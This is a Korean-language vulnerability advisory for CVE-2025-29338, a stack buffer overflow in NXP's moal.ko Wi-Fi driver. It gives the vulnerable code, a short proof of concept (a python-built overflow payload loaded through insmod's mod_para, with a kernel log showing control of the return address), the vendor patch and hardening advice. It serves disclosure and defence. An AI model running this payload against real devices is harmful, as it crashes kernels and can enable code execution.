
woal_setup_module_param / parse_cfg_get_line)| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-29338 |
| 심각도 | 높음 |
| CVSS v3.1 점수 | 7.8 |
| CVSS v3.1 벡터 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 취약점 유형 | 스택 기반 버퍼 오버플로 (CWE-121) |
| 공격 벡터 | 로컬 |
| 공급업체 | NXP Semiconductors |
| 공급업체 패치 상태 | 패치됨 |
| 발견자 | Mahmoud Jadaan — diconium auto GmbH |
NXP moal.ko Wi-Fi 커널 드라이버(버전 5.1.7.10)의 펌웨어 빌드 v17.92.1.p149.43부터 v17.92.1.p149.157까지 스택 기반 버퍼 오버플로 취약점이 존재합니다. 이 취약점은 woal_setup_module_param에서 호출되는 parse_cfg_get_line(mlinux/moal_init.c)에 있습니다. 구성 파일의 줄을 고정 크기 스택 버퍼로 읽는 while 루프에 대상 버퍼 경계 검사가 없어, 임의 길이의 줄이 버퍼를 오버플로하여 스택을 손상시키고 커널 패닉을 유발할 수 있습니다. NXP PSIRT가 이 취약점을 확인했으며 수정 사항이 릴리스되었습니다.
woal_setup_module_param은 mod_para 구성 파일을 처리하는 동안 각 반복에서 MAX_LINE_LEN 바이트의 고정 스택 버퍼를 할당하여 parse_cfg_get_line에 전달합니다:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
취약한 버전의 parse_cfg_get_line에서 while 루프 조건은 소스 위치와 줄 종결자만 확인하며, 대상 버퍼에 기록된 바이트 수에 대한 검사는 없습니다:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
MAX_LINE_LEN 바이트보다 긴 구성 파일 줄은 dest가 호출자의 스택 버퍼 끝을 넘어 진행하게 하여, 저장된 프레임 포인터와 반환 주소를 포함한 인접 스택 메모리를 덮어씁니다.
| 속성 | 값 |
|---|---|
| 유형 |
드라이버는 시스템 시작 시 insmod를 사용하여 구성 파일을 가리키는 mod_para 매개변수와 함께 로드됩니다. 조작된 구성 파일을 작성하고 커널 모듈을 다시 로드할 수 있는 공격자는 오버플로를 트리거할 수 있습니다.
| 영향 | 설명 |
|---|---|
| 서비스 거부 | 커널 패닉 — 확인됨; 즉각적인 시스템 재부팅 유발 |
| 커널 메모리 손상 | 스택 스매싱이 저장된 rbp와 반환 주소를 덮어씀 |
| 잠재적 코드 실행 | 반환 주소 제어 — 적용된 완화 조치(스택 카나리, KASLR 등)에 따라 임의 커널 모드 코드 실행이 가능할 수 있음 |
기본 점수: 7.8 (높음)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
방어 및 연구 목적으로만 제공됩니다.
#!/bin/sh
rmmod moal
rmmod mlan
스택 버퍼는 A로 채워지고, 그다음 스택 카나리 슬롯용 8바이트(B), 저장된 rbp용 8바이트(C), 반환 주소를 덮어쓸 8바이트(D)가 이어집니다:
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
mod_para 경로는 커널이 펌웨어를 검색하는 디렉터리를 기준으로 한 상대 경로여야 합니다(일반적으로 /lib/firmware/). 이에 따라 경로를 구성하십시오:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
모듈 초기화 중 커널 패닉이 즉시 트리거됩니다. 커널 로그는 반환 주소가 0x4444444444444444(ASCII DDDDDDDD)로 덮어써져 명령 포인터를 완전히 제어했음을 확인합니다:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT가 취약점을 확인하고 mlinux/moal_init.c에 대한 다음 패치를 제공했습니다. 이 수정은 parse_cfg_get_line 루프 내부에 경계 검사를 추가하여 MAX_LINE_LEN을 초과하기 전에 루프를 빠져나갑니다:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
위 패치가 포함된 v17.92.1.p149.157 이후 버전의 펌웨어로 업데이트하십시오. 추가 강화 조치로:
CAP_SYS_MODULE을 신뢰할 수 있는 관리자로 제한하고 SELinux, AppArmor 또는 seccomp를 통해 init_module / finit_module 시스템 콜 제한을 적용하십시오.mod_para가 참조하는 경로와 그 경로가 가리키는 파일이 root만 쓸 수 있도록 하십시오.NXP PSIRT가 취약점을 확인했습니다. 수정 사항은 공식 소프트웨어 업데이트의 일부로 릴리스되었습니다.
발견자: Mahmoud Jadaan — diconium auto GmbH
본 권고는 CVE 프로그램의 최소 CVE 공개 요구 사항을 충족하기 위한 공개 참고 자료로 게시되었습니다.
| 필드 | 세부 정보 |
|---|
| 공급업체 | NXP Semiconductors |
| 구성 요소 | moal.ko Wi-Fi 커널 드라이버 |
| 드라이버 버전 | 5.1.7.10 |
| 펌웨어 — 최초 영향 버전 | v17.92.1.p149.43 |
| 펌웨어 — 마지막 영향 버전 | v17.92.1.p149.157 |
| 로컬 |
| 필요 권한 | CAP_SYS_MODULE (root 또는 이에 준하는 권한) |
| 사용자 상호 작용 | 없음 |
| 공격 표면 | mod_para 커널 모듈 매개변수 (구성 파일 경로) |
| 메트릭 | 값 | 근거 |
|---|
| 공격 벡터 (AV) | 로컬 (L) | 로컬 시스템 접근 필요 |
| 공격 복잡도 (AC) | 낮음 (L) | 경쟁 조건이나 복잡한 선행 조건 없음 |
| 필요 권한 (PR) | 높음 (H) | CAP_SYS_MODULE / root 필요 |
| 사용자 상호 작용 (UI) | 없음 (N) | 전적으로 공격자에 의해 통제됨 |
| 범위 (S) | 변경 없음 (U) | 영향이 커널 컨텍스트 내에 유지됨 |
| 기밀성 (C) | 높음 (H) | 커널 메모리 잠재적 읽기 가능 |
| 무결성 (I) | 높음 (H) | 반환 주소 덮어쓰기 입증됨 |
| 가용성 (A) | 높음 (H) | 커널 패닉 / 재부팅 확인됨 |